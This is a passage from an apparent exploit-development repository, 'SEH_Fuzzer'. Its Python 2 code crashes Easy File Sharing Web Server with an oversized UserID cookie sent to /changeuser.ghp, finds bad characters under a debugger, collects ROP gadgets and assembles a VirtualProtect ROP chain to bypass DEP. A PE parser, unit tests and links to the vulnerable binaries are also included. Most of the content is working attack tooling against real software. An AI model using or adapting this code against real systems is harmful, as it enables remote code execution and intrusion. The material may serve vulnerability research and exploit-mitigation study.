__init__(self, exe_path, max_offset = 8000): 91 | self.exe_path = exe_path 92 | self.pid = None 93 | self.dbg = None 94 | # self.running = True 95 | 96 | self.dbgThread = threading.Thread(target=self.start_debugger) 97 | self.dbgThread.setDaemon(False) 98 | self.dbgThread.start() 99 | 100 | # Wait debugger start process 101 | while self.pid is None: 102 | time.sleep(1) 103 | 104 | self.monitorThread = threading.Thread(target=self.monitor_debugger) 105 | self.monitorThread.setDaemon(False) 106 | self.monitorThread.start() 107 | 108 | def monitor_debugger(self): 109 | global Running 110 | global OFFSET 111 | global badchars 112 | 113 | with open(LAST_PICKLE_NAME, "rb") as local_file: 114 | OFFSET = cPickle.load(local_file) 115 | seh_offset = cPickle.load(local_file) 116 | seh = cPickle.load(local_file) 117 | nseh = cPickle.load(local_file) 118 | 119 | if not os.path.isfile(PICKLE_NAME): 120 | with open(PICKLE_NAME, "wb") as local_file: 121 | cPickle.dump("\x00", local_file) 122 | 123 | else: 124 | with open(PICKLE_NAME, "rb") as local_file: 125 | badchars = cPickle.load(local_file) 126 | raw_input("[+] Please start the debugger...") 127 | while Running: 128 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 129 | s.connect((host, port)) 130 | buffer = "A" * OFFSET 131 | buffer += bytearray(badchars=badchars) 132 | 133 | httpreq = ( 134 | "GET /changeuser.ghp HTTP/1.1\r\n" 135 | "User-Agent: Mozilla/4.0\r\n" 136 | "Host:" + host + ":" + str(port) + "\r\n" 137 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 138 | "Accept-Language: en-us\r\n" 139 | "Accept-Encoding: gzip, deflate\r\n" 140 | "Referer: http://" + host + "/\r\n" 141 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 142 | "Conection: Keep-Alive\r\n\r\n" 143 | ) 144 | s.send(httpreq) 145 | s.close() 146 | Running = False 147 | 148 | ''' 149 | Try to start debugger and run it. 150 | ''' 151 | def start_debugger(self): 152 | try: 153 | self.dbg = pydbg() 154 | self.dbg.load(self.exe_path) 155 | self.pid = self.dbg.pid 156 | except pdx: 157 | print "[+] Can't open file, please check file path" 158 | sys.exit(1) 159 | except Exception as e: 160 | print "[+] Unknow error: ", str(e) 161 | sys.exit(1) 162 | 163 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 164 | self.dbg.run() 165 | 166 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 167 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/fuzzer.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | import struct 5 | 6 | import sys 7 | import platform 8 | import os 9 | 10 | from pydbg import * 11 | from pydbg.defines import * 12 | 13 | import cPickle 14 | import random 15 | 16 | PICKLE_GADGET = "gadgets.pkl" 17 | ROPCHAIN = "ropchain.pkl" 18 | 19 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 20 | 21 | import threading 22 | import time 23 | 24 | win7After = True if platform.release() in ["6", "7", "8", "vista", "win7", "2008server", "win8", "win8.1", "win10"] else False 25 | 26 | # Get module list without system module. 27 | def getModuleList(dbg, exe_path): 28 | system_dlls = dbg.system_dlls 29 | file_prefix = "\\".join(exe_path.split("\\")[1:-1]) 30 | disk = exe_path[0:2] 31 | ModulesList = [exe_path] 32 | 33 | for dll in system_dlls: 34 | if file_prefix in dll.path: 35 | ModulesList.append(disk + dll.path) 36 | 37 | return ModulesList 38 | 39 | # Get gadget by no protect module, IAT and wriatable address. 40 | def getRopGadgetAndIATAndWriteAddress(dbg, ModulesList): 41 | # Get all usable gadgets. 42 | collect_gadgets = {} 43 | IAT = {} 44 | wriatableAddress = {} 45 | 46 | for module in ModulesList: 47 | pe = PE(module) 48 | image_top = pe.Base + pe.BaseSize 49 | if pe.Base>0: 50 | peOffset = struct.unpack("=deep: 86 | move_up_list.append((addr, insturctions, deep)) 87 | 88 | select_moveup = None 89 | for g in move_up_list: 90 | if select_moveup is None or select_moveup[2]>g[2]: 91 | select_moveup = g 92 | # print select_moveup 93 | 94 | with open(PICKLE_NAME, "wb") as local_file: 95 | cPickle.dump({select_moveup[0] : select_moveup[1]}, local_file) 96 | cPickle.dump(select_moveup[2], local_file) 97 | cPickle.dump(fix, local_file) 98 | 99 | # print dbg.dump_context(stack_depth=1000) 100 | dbg.terminate_process() 101 | return DBG_EXCEPTION_NOT_HANDLED 102 | else: 103 | Running = True 104 | return DBG_EXCEPTION_NOT_HANDLED 105 | 106 | return DBG_EXCEPTION_NOT_HANDLED 107 | 108 | class Fuzzer(object): 109 | def __init__(self, exe_path, max_offset = 8000): 110 | self.exe_path = exe_path 111 | self.pid = None 112 | self.dbg = None 113 | # self.running = True 114 | 115 | self.dbgThread = threading.Thread(target=self.start_debugger) 116 | self.dbgThread.setDaemon(False) 117 | self.dbgThread.start() 118 | 119 | # Wait debugger start process 120 | while self.pid is None: 121 | time.sleep(1) 122 | 123 | self.monitorThread = threading.Thread(target=self.monitor_debugger) 124 | self.monitorThread.setDaemon(False) 125 | self.monitorThread.start() 126 | 127 | def monitor_debugger(self): 128 | global Running 129 | global OFFSET 130 | 131 | with open(LAST_PICKLE_NAME, "rb") as local_file: 132 | OFFSET = cPickle.load(local_file) 133 | seh_offset = cPickle.load(local_file) 134 | seh = cPickle.load(local_file) 135 | nseh = cPickle.load(local_file) 136 | 137 | raw_input("[+] Please start the debugger...") 138 | while Running: 139 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 140 | s.connect((host, port)) 141 | buffer = "A" * 4300 142 | httpreq = ( 143 | "GET /changeuser.ghp HTTP/1.1\r\n" 144 | "User-Agent: Mozilla/4.0\r\n" 145 | "Host:" + host + ":" + str(port) + "\r\n" 146 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 147 | "Accept-Language: en-us\r\n" 148 | "Accept-Encoding: gzip, deflate\r\n" 149 | "Referer: http://" + host + "/\r\n" 150 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 151 | "Conection: Keep-Alive\r\n\r\n" 152 | ) 153 | s.send(httpreq) 154 | s.close() 155 | Running = False 156 | 157 | ''' 158 | Try to start debugger and run it. 159 | ''' 160 | def start_debugger(self): 161 | try: 162 | self.dbg = pydbg() 163 | self.dbg.load(self.exe_path) 164 | self.pid = self.dbg.pid 165 | except pdx: 166 | print "[+] Can't open file, please check file path" 167 | sys.exit(1) 168 | except Exception as e: 169 | print "[+] Unknow error: ", str(e) 170 | sys.exit(1) 171 | 172 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 173 | self.dbg.run() 174 | 175 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 176 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/test/PE.py: -------------------------------------------------------------------------------- 1 | import pefile 2 | 3 | ''' 4 | Windows PE file arch code. 5 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#machine_types 6 | ''' 7 | class ArchFlag: 8 | IMAGE_FILE_MACHINE_UNKNOWN = 0x0 9 | IMAGE_FILE_MACHINE_AMD64 = 0x8664 10 | IMAGE_FILE_MACHINE_I386 = 0x14c 11 | IMAGE_FILE_MACHINE_IA64 = 0x200 12 | 13 | ''' 14 | Get PE file characteristics. 15 | Can grad some characteristics of PE file. 16 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#characteristics 17 | ''' 18 | class FileHeaderCharacteristicsFlag: 19 | IMAGE_FILE_RELOCS_STRIPPED = 0x1 20 | IMAGE_FILE_32BIT_MACHINE = 0x100 21 | IMAGE_FILE_SYSTEM = 0x1000 22 | IMAGE_FILE_DLL = 0x2000 23 | 24 | ''' 25 | Get file bits. 26 | ''' 27 | class MagicFlag: 28 | PE32 = 0x10b # for 32bit 29 | PE32plus = 0x20b # for 64bit 30 | 31 | ''' 32 | Get DLL characteristics. 33 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#dll_characteristics 34 | ''' 35 | class DllCharacteristicsFlag: 36 | IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40 37 | IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100 38 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x400 39 | 40 | ''' 41 | Section Flag Definition. 42 | Ref: https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms680547(v=vs.85).aspx#section_flags 43 | ''' 44 | class SectionFlag: 45 | IMAGE_SCN_MEM_EXECUTE = 0x20000000 46 | IMAGE_SCN_MEM_READ = 0x40000000 47 | IMAGE_SCN_MEM_WRITE = 0x80000000 48 | 49 | ''' 50 | PE parse error exception, will add a message about error. 51 | ''' 52 | class PEError(Exception): 53 | def __init__(self, message="Parse PE file fail"): 54 | self.message = message 55 | 56 | def __str__(self): 57 | return repr(self.message) 58 | 59 | class PE(object): 60 | def __init__(self, exe_path): 61 | self.__name = exe_path 62 | self.__parser = None 63 | self.__format = "PE" 64 | try: 65 | self.__parser = pefile.PE(exe_path, fast_load=True) 66 | except: 67 | # print "[-] Open %s fail." % (self.Name) 68 | self.__parser = None 69 | raise PEError("[-] Open %s fail." % (self.Name)) 70 | 71 | self.Arch = self.__parser.FILE_HEADER.Machine 72 | self.__type = "dll" if self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_DLL else "exe" 73 | 74 | if self.__type == "exe" and (self.__parser.FILE_HEADER.Characteristics & FileHeaderCharacteristicsFlag.IMAGE_FILE_RELOCS_STRIPPED): 75 | self.__rebase = False 76 | elif self.__type == "dll" and not (self.__parser.OPTIONAL_HEADER.DllCharacteristics & DllCharacteristicsFlag.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE): 77 | self.__rebase = False 78 | else: 79 | self.__rebase = True 80 | 81 | if self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32: 82 | self.__bits = 32 83 | elif self.__parser.OPTIONAL_HEADER.Magic & MagicFlag.PE32plus: 84 | self.__bits = 64 85 | 86 | self.__dataSections = None 87 | self.__execSections = None 88 | 89 | self.__getDataSections() 90 | self.__getExecSections() 91 | 92 | self.__parser.close() 93 | 94 | def __getDataSections(self): 95 | dataSections = [] 96 | for section in self.__parser.sections: 97 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_WRITE: 98 | dataSections.append({ 99 | "name" : section.Name, 100 | "offset" : section.PointerToRawData, 101 | "size" : section.SizeOfRawData, 102 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 103 | "code" : str(section.get_data()) 104 | }) 105 | self.__dataSections = dataSections 106 | 107 | def __getExecSections(self): 108 | execSections = [] 109 | for section in self.__parser.sections: 110 | if section.Characteristics & SectionFlag.IMAGE_SCN_MEM_EXECUTE: 111 | execSections.append({ 112 | "name" : section.Name, 113 | "offset" : section.PointerToRawData, 114 | "size" : section.SizeOfRawData, 115 | "vaddr" : section.VirtualAddress + self.__parser.OPTIONAL_HEADER.ImageBase, 116 | "code" : bytes(section.get_data()) 117 | }) 118 | self.__execSections = execSections 119 | 120 | @property 121 | def Arch(self): 122 | return self.__Arch 123 | 124 | @Arch.setter 125 | def Arch(self, flag): 126 | self.__Arch = { ArchFlag.IMAGE_FILE_MACHINE_UNKNOWN : "All", 127 | ArchFlag.IMAGE_FILE_MACHINE_AMD64 : "amd64", 128 | ArchFlag.IMAGE_FILE_MACHINE_I386 : "intel", 129 | ArchFlag.IMAGE_FILE_MACHINE_IA64 : "ia64" }.get(flag, "unknow") 130 | 131 | @property 132 | def Bits(self): 133 | return self.__bits 134 | 135 | @property 136 | def DataSections(self): 137 | return self.__dataSections 138 | 139 | @property 140 | def ExecSections(self): 141 | return self.__execSections 142 | 143 | @property 144 | def EntryPoint(self): 145 | return self.__parser.OPTIONAL_HEADER.ImageBase + self.__parser.OPTIONAL_HEADER.AddressOfEntryPoint 146 | 147 | @property 148 | def Format(self): 149 | return self.__format 150 | 151 | @property 152 | def Rebase(self): 153 | return self.__rebase 154 | 155 | @property 156 | def Name(self): 157 | return self.__name 158 | 159 | @property 160 | def Type(self): 161 | return self.__type 162 | -------------------------------------------------------------------------------- /SEH_Fuzzer/test/testPE.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import sys 3 | import os 4 | 5 | CURRENT_DIR = os.getcwd() 6 | PE_DIR = "\\".join(CURRENT_DIR.split("\\")[:-1]) 7 | print "[+] Current position: %s" % (CURRENT_DIR) 8 | print "[+] PE class position: %s" % (PE_DIR) 9 | 10 | # add PE class position 11 | sys.path.append(PE_DIR) 12 | from PE import * 13 | 14 | print 15 | print "[+] Start test." 16 | 17 | ''' 18 | TestCase information 19 | ''' 20 | 21 | NORMAL_EXE = PE_DIR + "\\vuln\\fsws.exe" 22 | NORMAL_DLL = PE_DIR + "\\vuln\\ImageLoad.dll" 23 | ERROR_EXE = "abc.exe" 24 | ERROR_DLL = "abc.dll" 25 | 26 | TESTCASES = { 27 | NORMAL_EXE : { 28 | "ARCH" : "intel", 29 | "TYPE" : "exe", 30 | "FORMAT" : "PE", 31 | "BITS" : 32, 32 | "ENTRYPOINT" : 0x004fc060, 33 | "REBASE" : False 34 | }, 35 | NORMAL_DLL : { 36 | "ARCH" : "intel", 37 | "TYPE" : "dll", 38 | "FORMAT" : "PE", 39 | "BITS" : 32, 40 | "ENTRYPOINT" : 0x1001ab40, 41 | "REBASE" : False 42 | }, 43 | ERROR_EXE : { 44 | 45 | }, 46 | ERROR_DLL : { 47 | 48 | } 49 | } 50 | 51 | class PETestCase(unittest.TestCase): 52 | ''' 53 | Basic setUp(),tearDown() and log() functions 54 | ''' 55 | def setUp(self): 56 | self.pe = None 57 | 58 | def tearDown(self): 59 | self.pe = None 60 | 61 | def log(self, testcase): 62 | print "[+] Passing TestCase %s." % (testcase) 63 | 64 | ''' 65 | test normal testcase 66 | ''' 67 | 68 | def test_NORMAL_EXE(self): 69 | self.pe = PE(NORMAL_EXE) 70 | self.assertEqual(self.pe.Arch, TESTCASES[NORMAL_EXE]["ARCH"]) 71 | self.assertEqual(self.pe.Type, TESTCASES[NORMAL_EXE]["TYPE"]) 72 | self.assertEqual(self.pe.Format, TESTCASES[NORMAL_EXE]["FORMAT"]) 73 | self.assertEqual(self.pe.Bits, TESTCASES[NORMAL_EXE]["BITS"]) 74 | self.assertEqual(self.pe.EntryPoint, TESTCASES[NORMAL_EXE]["ENTRYPOINT"]) 75 | self.assertEqual(self.pe.Rebase, TESTCASES[NORMAL_EXE]["REBASE"]) 76 | self.log("MNORMAL_EXE: " + NORMAL_EXE) 77 | 78 | def test_NORMAL_DLL(self): 79 | self.pe = PE(NORMAL_DLL) 80 | self.assertEqual(self.pe.Arch, TESTCASES[NORMAL_DLL]["ARCH"]) 81 | self.assertEqual(self.pe.Type, TESTCASES[NORMAL_DLL]["TYPE"]) 82 | self.assertEqual(self.pe.Format, TESTCASES[NORMAL_DLL]["FORMAT"]) 83 | self.assertEqual(self.pe.Bits, TESTCASES[NORMAL_DLL]["BITS"]) 84 | self.assertEqual(self.pe.EntryPoint, TESTCASES[NORMAL_DLL]["ENTRYPOINT"]) 85 | self.assertEqual(self.pe.Rebase, TESTCASES[NORMAL_DLL]["REBASE"]) 86 | self.log("NNORMAL_DLL: " + NORMAL_DLL) 87 | 88 | ''' 89 | test error testcase 90 | ''' 91 | def test_ERROR_EXE(self): 92 | try: 93 | self.pe = PE(ERROR_EXE) 94 | except Exception as e: 95 | self.assertTrue( isinstance(e, PEError)) 96 | self.log("ERROR_EXE: " + ERROR_EXE) 97 | 98 | def test_ERROR_DLL(self): 99 | try: 100 | self.pe = PE(ERROR_DLL) 101 | except Exception as e: 102 | self.assertTrue( isinstance(e, PEError)) 103 | self.log("EERROR_DLL: " + ERROR_DLL) 104 | 105 | if __name__ == "__main__": 106 | unittest.main() -------------------------------------------------------------------------------- /SEH_Fuzzer/util.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import string 3 | import os 4 | import math 5 | import random 6 | 7 | def p32(data): 8 | return struct.pack("size: 12 | return None 13 | value = 0 14 | for c in word[::-1]: 15 | value = value*16*16 + ord(c) 16 | return value 17 | 18 | def pattern_create(max_length=5000, append=False): 19 | charset1 = string.ascii_uppercase 20 | charset2 = string.ascii_lowercase 21 | charset3 = string.digits 22 | if append: 23 | charset3 += ",.;+=-_!&()#@({})[]%" 24 | pattern = [] 25 | 26 | while len(pattern)=len(gadgets[gadget_type][vaddr]): 70 | shortest_gadget = (vaddr, gadgets[gadget_type][vaddr]) 71 | return shortest_gadget 72 | 73 | def neg(word): 74 | return 0x100000000 - word 75 | 76 | def getPickupChain(collection, target_register, fptr): 77 | pickup_chain = [] 78 | REGISTER = ["eax", "ebx", "ecx", "edx", "esi", "edi", "ebp"] 79 | # Check whether can do function call. 80 | if fptr is None or fptr == 0: 81 | return pickup_chain 82 | 83 | pickups = [ types for types in collection.keys() if types.startswith("pickup")] 84 | 85 | ''' 86 | pop source_register ; ret 87 | fptr 88 | mov target_register, dword ptr [source_register] ; ret 89 | ''' 90 | for types in pickups: 91 | if types.startswith("pickup" + target_register): 92 | pickup_gadget = searchGadget(collection, types, "mov") 93 | source_register = types[-3:] 94 | pop_gadget = searchGadget(collection, "pop", "pop " + source_register) 95 | if (pickup_gadget is not None) and (pop_gadget is not None): 96 | pickup_chain.append((pop_gadget[0], pop_gadget[1])) 97 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 98 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 99 | return pickup_chain 100 | 101 | ''' 102 | pop temp_register ; ret 103 | fptr 104 | mov source_register, dword ptr [temp_register] ; ret 105 | mov target_register, source_register ; ret 106 | ''' 107 | for source_register in REGISTER: 108 | for types in pickups: 109 | if types.startswith("pickup" + source_register): 110 | temp_register = types[-3:] 111 | pop_temp_gadget = searchGadget(collection, "pop", "pop " + temp_register) 112 | pickup_gadget = searchGadget(collection, types, "mov") 113 | mov_gadget = searchGadget(collection, "mov"+target_register+source_register, "xchg") or searchGadget(collection, "mov"+target_register+source_register, "mov") 114 | if (pop_temp_gadget is not None) and (pickup_gadget is not None) and (mov_gadget is not None): 115 | pickup_chain.append((pop_temp_gadget[0], pop_temp_gadget[1])) 116 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 117 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 118 | pickup_chain.append((mov_gadget[0], mov_gadget[1])) 119 | return pickup_chain 120 | 121 | ''' 122 | pop temp1_register ; ret 123 | fptr 124 | mov temp2_register, dword ptr [temp1_register] ; ret 125 | mov temp3_register, temp2_register ; ret 126 | xor target_register, target_register ; ret 127 | add target_register, temp3_register ; ret 128 | ''' 129 | for add_addr, add_text in collection["add"].items(): 130 | if add_text.startswith("add " + target_register): 131 | pattern = add_text.split(" ; ")[0] 132 | temp3_register = pattern[-3:] 133 | add_gadget = searchGadget(collection, "add", "add " + target_register + ", " + temp3_register) 134 | xor_gadget = searchGadget(collection, "clear", "xor " + target_register) 135 | if (add_gadget is not None) and (xor_gadget is not None): 136 | for mov_type in collection.keys(): 137 | if (mov_type.startswith("mov"+temp3_register)): 138 | temp2_register = mov_type[-3:] 139 | mov_gadget = searchGadget(collection, mov_type, "xchg") or searchGadget(collection, mov_type, "mov") 140 | if mov_gadget is not None: 141 | for pickup_type in pickups: 142 | if pickup_type.startswith("pickup"+temp2_register): 143 | temp1_register = pickup_type[-3:] 144 | pickup_gadget = searchGadget(collection, pickup_type, "mov") 145 | pop_gadget = searchGadget(collection, "pop", "pop " + temp1_register) 146 | if (pickup_gadget is not None) and (pop_gadget is not None): 147 | pickup_chain.append((pop_gadget[0], pop_gadget[1])) 148 | pickup_chain.append((fptr, "ptr to VirtualProtect")) 149 | pickup_chain.append((pickup_gadget[0], pickup_gadget[1])) 150 | pickup_chain.append((mov_gadget[0], mov_gadget[1])) 151 | pickup_chain.append((xor_gadget[0], xor_gadget[1])) 152 | pickup_chain.append((add_gadget[0], add_gadget[1])) 153 | return pickup_chain 154 | 155 | return pickup_chain 156 | 157 | ''' 158 | +-------------------------+ 159 | | virtualprotect strategy | 160 | +-------------------------+ 161 | pushad 162 | +-----+--------------------------+--------------------------+ 163 | | Reg | method1 | method2 | 164 | +-----+--------------------------+--------------------------+ 165 | | edi | ptr to ret | ptr to ret | 166 | +-----+--------------------------+--------------------------+ 167 | | esi | ptr to &virtualprotect() | ptr to jmp [eax] | 168 | +-----+--------------------------+--------------------------+ 169 | | ebp | ptr to jmp esp | pop 4 bytes | 170 | +-----+--------------------------+--------------------------+ 171 | | esp | arg1 | arg1 | 172 | +-----+--------------------------+--------------------------+ 173 | | ebx | arg2 | arg2 | 174 | +-----+--------------------------+--------------------------+ 175 | | edx | arg3 | arg3 | 176 | +-----+--------------------------+--------------------------+ 177 | | ecx | arg4 | arg4 | 178 | +-----+--------------------------+--------------------------+ 179 | | eax | nop * 4 | ptr to &virtualprotect() | 180 | +-----+--------------------------+--------------------------+ 181 | ''' 182 | # Generate a rop chain to bypass DEP. 183 | def generate_ropchain(collection, IATs, wAddrs): 184 | virtualprotect = [ ("esi", "func"), ("ebp", "jmp"), ("ebx", "size"), ("edx", "rwx"), 185 | ("ecx", "waddr"), ("edi", "nop"), ("eax", "nopcode"), ("all", "pushad") ] 186 | rop_chain = [] 187 | Found_Gadget = True 188 | Need_Fix = None 189 | for step in virtualprotect: 190 | register, purpose = step 191 | 192 | if purpose == "func": 193 | virtualprotectPtr = searchFuncByIAT(IATs, "VirtualProtect") 194 | pickup_chain = getPickupChain(collection, register, virtualprotectPtr) 195 | if len(pickup_chain)>0: 196 | rop_chain.extend(pickup_chain) 197 | 198 | else: 199 | Found_Gadget = False 200 | elif purpose == "jmp": 201 | gadget = searchGadget(collection, "pop", "pop " + register) 202 | addr = searchGadget(collection, "jmpesp", "jmp esp") 203 | if addr is None: 204 | addr = searchGadget(collection, "jmpesp", "push esp ; ret") 205 | if addr is None: 206 | Found_Gadget = False 207 | else: 208 | addr = addr[0] 209 | else: 210 | addr = addr[0] 211 | 212 | if gadget is not None and Found_Gadget: 213 | print "0x%08x: %s" % (gadget[0], gadget[1]) 214 | print "%s: 0x%08x" % ("ptr to jmp esp", addr) 215 | rop_chain.append((gadget[0], gadget[1])) 216 | rop_chain.append((addr, "ptr to jmp esp")) 217 | else: 218 | Found_Gadget = False 219 | 220 | 221 | elif purpose == "size": 222 | gadget = searchGadget(collection, "pop", "pop "+register) 223 | neg_gadget = searchGadget(collection, "neg", "neg "+register) 224 | if (gadget is None) or (neg_gadget is None): 225 | gadget = searchGadget(collection, "pop", "pop eax") 226 | neg_gadget = searchGadget(collection, "neg", "neg eax") 227 | # Since ebx will be zero(need check). 228 | mov_gadget = searchGadget(collection, "add", "add "+register+", eax") 229 | if (gadget is None) or (neg_gadget is None) or (mov_gadget is None): 230 | Found_Gadget = False 231 | else: 232 | rop_chain.append((gadget[0], gadget[1])) 233 | rop_chain.append((neg(0x201), "-0x201")) 234 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 235 | rop_chain.append((mov_gadget[0], mov_gadget[1])) 236 | # Fix side effect (mov eax, [esp + 0xc]) 237 | check_fix_list = mov_gadget[1].split(" ; ") 238 | for pattern in check_fix_list: 239 | if pattern.startswith("mov eax, dword ptr [esp +"): 240 | pattern = pattern.split("+")[-1] 241 | pattern = pattern.replace("]", "") 242 | try: 243 | Need_Fix = int(pattern) 244 | except ValueError: 245 | try: 246 | Need_Fix = int(pattern, base=16) 247 | except: 248 | Need_Fix = None 249 | except: 250 | Need_Fix = None 251 | if Need_Fix is not None: 252 | Need_Fix = len(rop_chain) -1 + int(math.ceil(Need_Fix/4)) 253 | 254 | else: 255 | rop_chain.append((gadget[0], gadget[1])) 256 | rop_chain.append((neg(0x201), "dwsize")) 257 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 258 | 259 | elif purpose == "rwx": 260 | gadget = searchGadget(collection, "pop", "pop " + register) 261 | neg_gadget = searchGadget(collection, "neg", "neg " + register) 262 | if (gadget is None) or (neg_gadget is None): 263 | gadget = searchGadget(collection, "clear", "xor " + register + ", " + register) 264 | inc_gadget = searchGadget(collection, "inc", "inc " + register) 265 | if (gadget is None) or (inc_gadget is None): 266 | Found_Gadget = False 267 | else: 268 | rop_chain.append((gadget[0], gadget[1])) 269 | for i in xrange(0x40): 270 | rop_chain.append((inc_gadget[0], inc_gadget[1])) 271 | 272 | else: 273 | rop_chain.append((gadget[0], gadget[1])) 274 | rop_chain.append((neg(0x40), "-0x40")) 275 | rop_chain.append((neg_gadget[0], neg_gadget[1])) 276 | 277 | elif purpose == "waddr": 278 | gadget = searchGadget(collection, "pop", "pop " + register) 279 | addr = searchWritableAddress(wAddrs) 280 | if (addr is None) or (gadget is None): 281 | Found_Gadget = False 282 | else: 283 | rop_chain.append((gadget[0], gadget[1])) 284 | rop_chain.append((addr, "writable address")) 285 | 286 | elif purpose == "nop": 287 | gadget = searchGadget(collection, "pop", "pop " + register) 288 | nop_gadget = searchGadget(collection, "nop", "ret") or searchGadget(collection, "nop", "nop") 289 | if (gadget is None) or (nop_gadget is None): 290 | Found_Gadget = False 291 | else: 292 | rop_chain.append((gadget[0], gadget[1])) 293 | rop_chain.append((nop_gadget[0], "ptr to [nop] ret")) 294 | 295 | elif purpose == "nopcode": 296 | gadget = searchGadget(collection, "pop", "pop " + register) 297 | if gadget is None: 298 | Found_Gadget = False 299 | else: 300 | rop_chain.append((gadget[0], gadget[1])) 301 | rop_chain.append((0x90909090, "nop code")) 302 | 303 | elif purpose == "pushad": 304 | gadget = searchGadget(collection, "pushad", "pushal") or searchGadget(collection, "pushad", "pushad") 305 | if gadget is None: 306 | Found_Gadget = False 307 | else: 308 | rop_chain.append((gadget[0], gadget[1])) 309 | 310 | if (Need_Fix is not None) and len(rop_chain)>=Need_Fix: 311 | gadget = searchGadget(collection, "addnum", "add esp, 4 ; ret") 312 | addr = searchWritableAddress(wAddrs) 313 | if (gadget is None) or (addr is None): 314 | Found_Gadget = False 315 | else: 316 | rop_chain.insert(Need_Fix, (gadget[0], gadget[1])) 317 | rop_chain.insert(Need_Fix+1, (addr, "gargabe")) 318 | Need_Fix = None 319 | 320 | if not Found_Gadget: 321 | break 322 | 323 | return rop_chain -------------------------------------------------------------------------------- /SEH_Fuzzer/vuln/ImageLoad.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/2527f0a71b60280f0d18e1c77049dfdf7814a934/SEH_Fuzzer/vuln/ImageLoad.dll -------------------------------------------------------------------------------- /SEH_Fuzzer/vuln/fsws.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/2527f0a71b60280f0d18e1c77049dfdf7814a934/SEH_Fuzzer/vuln/fsws.exe --------------------------------------------------------------------------------